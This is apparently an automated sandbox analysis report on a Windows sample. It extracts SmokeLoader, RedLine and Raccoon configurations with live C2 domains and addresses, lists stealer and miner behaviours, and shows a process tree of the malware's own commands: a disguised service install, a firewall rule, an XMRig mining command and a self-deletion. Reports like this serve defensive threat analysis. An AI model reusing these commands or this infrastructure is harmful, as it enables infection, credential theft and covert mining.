Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    02/10/2021, 17:51

General

  • Target
    a6996a62d5cba00ab36058f315c2fb44.exe
  • Size 259KB
  • Sample211002-we54eaefhj
  • SHA256 0091825486c2d7cfdee49e98c6795be8d32a7f50a68e0d33542b1f047fb7ed7a
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://fiskahlilian16.top/

  • http://paishancho17.top/

  • http://ydiannetter18.top/

  • http://azarehanelle19.top/

  • http://quericeriant20.top/

rc4.i32
rc4.i32

Extracted

Family
  • redline

Botnet
  • new

C2
  • 91.245.253.52:38439

Extracted

Family
  • raccoon

Botnet
  • 5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Win32.Raccoon Stealer CnC Activity (dependency download)

    suricata: ET MALWARE Win32.Raccoon Stealer CnC Activity (dependency download)

  • suricata: ET MALWARE Win32.Raccoon Stealer Data Exfil Attempt

    suricata: ET MALWARE Win32.Raccoon Stealer Data Exfil Attempt

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 15 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 10 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 9 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 5 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 11 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a6996a62d5cba00ab36058f315c2fb44.exe
    "C:\Users\Admin\AppData\Local\Temp\a6996a62d5cba00ab36058f315c2fb44.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2468
    • C:\Users\Admin\AppData\Local\Temp\a6996a62d5cba00ab36058f315c2fb44.exe
      "C:\Users\Admin\AppData\Local\Temp\a6996a62d5cba00ab36058f315c2fb44.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2656
  • C:\Users\Admin\AppData\Local\Temp\E18C.exe
    C:\Users\Admin\AppData\Local\Temp\E18C.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3860
    • C:\Users\Admin\AppData\Local\Temp\E18C.exe
      C:\Users\Admin\AppData\Local\Temp\E18C.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:2076
  • C:\Users\Admin\AppData\Local\Temp\34AE.exe
    C:\Users\Admin\AppData\Local\Temp\34AE.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3364
    • C:\Users\Admin\AppData\Local\Temp\34AE.exe
      C:\Users\Admin\AppData\Local\Temp\34AE.exe
      2⤵
      • Executes dropped EXE
      PID:400
    • C:\Users\Admin\AppData\Local\Temp\34AE.exe
      C:\Users\Admin\AppData\Local\Temp\34AE.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:780
  • C:\Users\Admin\AppData\Local\Temp\3AE9.exe
    C:\Users\Admin\AppData\Local\Temp\3AE9.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:316
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ffaqcovx\
      2⤵
        PID:660
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\nhqanqvh.exe" C:\Windows\SysWOW64\ffaqcovx\
        2⤵
          PID:3296
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ffaqcovx binPath= "C:\Windows\SysWOW64\ffaqcovx\nhqanqvh.exe /d\"C:\Users\Admin\AppData\Local\Temp\3AE9.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1448
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description ffaqcovx "wifi internet conection"
            2⤵
              PID:1764
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start ffaqcovx
              2⤵
                PID:2600
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2612
              • C:\Users\Admin\AppData\Local\Temp\3DC8.exe
                C:\Users\Admin\AppData\Local\Temp\3DC8.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:1176
              • C:\Users\Admin\AppData\Local\Temp\473F.exe
                C:\Users\Admin\AppData\Local\Temp\473F.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:3964
              • C:\Windows\SysWOW64\ffaqcovx\nhqanqvh.exe
                C:\Windows\SysWOW64\ffaqcovx\nhqanqvh.exe /d"C:\Users\Admin\AppData\Local\Temp\3AE9.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2596
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:3052
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                      PID:4444
                • C:\Users\Admin\AppData\Local\Temp\4F01.exe
                  C:\Users\Admin\AppData\Local\Temp\4F01.exe
                  1⤵
                  • Executes dropped EXE
                  • Checks BIOS information in registry
                  • Checks whether UAC is enabled
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2256
                • C:\Users\Admin\AppData\Local\Temp\5C21.exe
                  C:\Users\Admin\AppData\Local\Temp\5C21.exe
                  1⤵
                  • Executes dropped EXE
                  • Checks BIOS information in registry
                  • Checks whether UAC is enabled
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  PID:2172
                • C:\Users\Admin\AppData\Local\Temp\6625.exe
                  C:\Users\Admin\AppData\Local\Temp\6625.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1288
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-NetConnection -TraceRoute youtube.com
                    2⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3844
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-NetConnection -TraceRoute youtube.com
                    2⤵
                      PID:3136
                    • C:\Users\Admin\AppData\Local\Temp\6625.exe
                      C:\Users\Admin\AppData\Local\Temp\6625.exe
                      2⤵
                      • Executes dropped EXE
                      PID:4488
                  • C:\Users\Admin\AppData\Local\Temp\6D88.exe
                    C:\Users\Admin\AppData\Local\Temp\6D88.exe
                    1⤵
                    • Executes dropped EXE
                    • Checks BIOS information in registry
                    • Checks whether UAC is enabled
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    PID:3648
                  • C:\Users\Admin\AppData\Local\Temp\71EE.exe
                    C:\Users\Admin\AppData\Local\Temp\71EE.exe
                    1⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:3764
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\71EE.exe"
                      2⤵
                        PID:4936
                        • C:\Windows\SysWOW64\timeout.exe
                          timeout /T 10 /NOBREAK
                          3⤵
                          • Delays execution with timeout.exe
                          PID:5024

                    Network

                          MITRE ATT&CK Enterprise v6

                          Replay Monitor

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                          Downloads

                          memory/316-149-0x00000000001C0000-0x00000000001D3000-memory.dmp

                          memory/316-151-0x0000000000400000-0x0000000000870000-memory.dmp

                          memory/392-1058-0x00000000028A0000-0x00000000028B0000-memory.dmp

                          memory/392-1048-0x00000000028A0000-0x00000000028B0000-memory.dmp

                          memory/392-1038-0x00000000028A0000-0x00000000028B0000-memory.dmp

                          memory/392-1043-0x00000000028A0000-0x00000000028B0000-memory.dmp

                          memory/392-1042-0x00000000028A0000-0x00000000028B0000-memory.dmp

                          memory/392-1037-0x00000000028A0000-0x00000000028B0000-memory.dmp

                          memory/392-1035-0x00000000028B0000-0x00000000028C0000-memory.dmp

                          memory/392-1044-0x0000000004670000-0x0000000004680000-memory.dmp

                          memory/392-1033-0x00000000028A0000-0x00000000028B0000-memory.dmp

                          memory/392-1031-0x0000000002870000-0x0000000002880000-memory.dmp

                          memory/392-118-0x0000000000390000-0x00000000003A5000-memory.dmp

                          memory/392-1045-0x00000000028A0000-0x00000000028B0000-memory.dmp

                          memory/392-1046-0x0000000004670000-0x0000000004680000-memory.dmp

                          memory/392-1040-0x00000000028A0000-0x00000000028B0000-memory.dmp

                          memory/392-1063-0x00000000028A0000-0x00000000028B0000-memory.dmp

                          memory/392-1051-0x00000000028A0000-0x00000000028B0000-memory.dmp

                          memory/392-1052-0x00000000028A0000-0x00000000028B0000-memory.dmp

                          memory/392-1053-0x00000000028A0000-0x00000000028B0000-memory.dmp

                          memory/392-125-0x0000000000840000-0x0000000000855000-memory.dmp

                          memory/392-1055-0x00000000028A0000-0x00000000028B0000-memory.dmp

                          memory/392-1062-0x00000000028A0000-0x00000000028B0000-memory.dmp

                          memory/392-1057-0x0000000004670000-0x0000000004680000-memory.dmp

                          memory/392-1060-0x00000000028A0000-0x00000000028B0000-memory.dmp

                          memory/780-185-0x0000000005270000-0x0000000005876000-memory.dmp

                          memory/780-174-0x0000000000400000-0x0000000000422000-memory.dmp

                          memory/1176-214-0x0000000007870000-0x0000000007871000-memory.dmp

                          memory/1176-145-0x0000000006030000-0x0000000006031000-memory.dmp

                          memory/1176-203-0x00000000075D0000-0x00000000075D1000-memory.dmp

                          memory/1176-150-0x0000000077820000-0x00000000779AE000-memory.dmp

                          memory/1176-206-0x0000000007CD0000-0x0000000007CD1000-memory.dmp

                          memory/1176-148-0x0000000005F90000-0x0000000005F91000-memory.dmp

                          memory/1176-144-0x0000000005EF0000-0x0000000005EF1000-memory.dmp

                          memory/1176-218-0x0000000007C30000-0x0000000007C31000-memory.dmp

                          memory/1176-248-0x0000000008390000-0x0000000008391000-memory.dmp

                          memory/1176-141-0x0000000000BD0000-0x0000000000BD1000-memory.dmp

                          memory/1176-147-0x0000000005F50000-0x0000000005F51000-memory.dmp

                          memory/1176-152-0x0000000006020000-0x0000000006021000-memory.dmp

                          memory/1176-143-0x0000000006640000-0x0000000006641000-memory.dmp

                          memory/1288-238-0x000000001C260000-0x000000001C262000-memory.dmp

                          memory/1288-222-0x0000000000300000-0x0000000000301000-memory.dmp

                          memory/2172-223-0x00000000054C0000-0x00000000054C1000-memory.dmp

                          memory/2172-207-0x00000000011C0000-0x00000000011C1000-memory.dmp

                          memory/2172-204-0x0000000077820000-0x00000000779AE000-memory.dmp

                          memory/2256-200-0x0000000005620000-0x0000000005621000-memory.dmp

                          memory/2256-198-0x0000000077820000-0x00000000779AE000-memory.dmp

                          memory/2256-187-0x0000000000D70000-0x0000000000D71000-memory.dmp

                          memory/2468-115-0x0000000000030000-0x0000000000039000-memory.dmp

                          memory/2596-199-0x0000000000400000-0x0000000000870000-memory.dmp

                          memory/2656-116-0x0000000000400000-0x0000000000409000-memory.dmp

                          memory/3052-192-0x0000000000A40000-0x0000000000A55000-memory.dmp

                          memory/3136-770-0x000002365A320000-0x000002365A322000-memory.dmp

                          memory/3136-772-0x000002365A323000-0x000002365A325000-memory.dmp

                          memory/3136-804-0x000002365A326000-0x000002365A328000-memory.dmp

                          memory/3136-1331-0x000002365A328000-0x000002365A32A000-memory.dmp

                          memory/3364-133-0x0000000002C10000-0x0000000002C11000-memory.dmp

                          memory/3364-132-0x0000000002E00000-0x0000000002E01000-memory.dmp

                          memory/3364-131-0x00000000052F0000-0x00000000052F1000-memory.dmp

                          memory/3364-129-0x0000000000A40000-0x0000000000A41000-memory.dmp

                          memory/3364-134-0x00000000058B0000-0x00000000058B1000-memory.dmp

                          memory/3648-270-0x0000000077820000-0x00000000779AE000-memory.dmp

                          memory/3648-292-0x0000000006090000-0x0000000006091000-memory.dmp

                          memory/3764-314-0x00000000008B0000-0x0000000000940000-memory.dmp

                          memory/3764-317-0x0000000000400000-0x00000000008B0000-memory.dmp

                          memory/3844-240-0x000001494A973000-0x000001494A975000-memory.dmp

                          memory/3844-235-0x000001494A900000-0x000001494A901000-memory.dmp

                          memory/3844-960-0x000001494A978000-0x000001494A97A000-memory.dmp

                          memory/3844-239-0x000001494A970000-0x000001494A972000-memory.dmp

                          memory/3844-243-0x000001494AB00000-0x000001494AB01000-memory.dmp

                          memory/3844-251-0x000001494A976000-0x000001494A978000-memory.dmp

                          memory/3964-173-0x00000000056C0000-0x00000000056C1000-memory.dmp

                          memory/3964-171-0x0000000077820000-0x00000000779AE000-memory.dmp

                          memory/3964-162-0x00000000003E0000-0x00000000003E1000-memory.dmp

                          memory/4488-1375-0x000000001CA20000-0x000000001CA22000-memory.dmp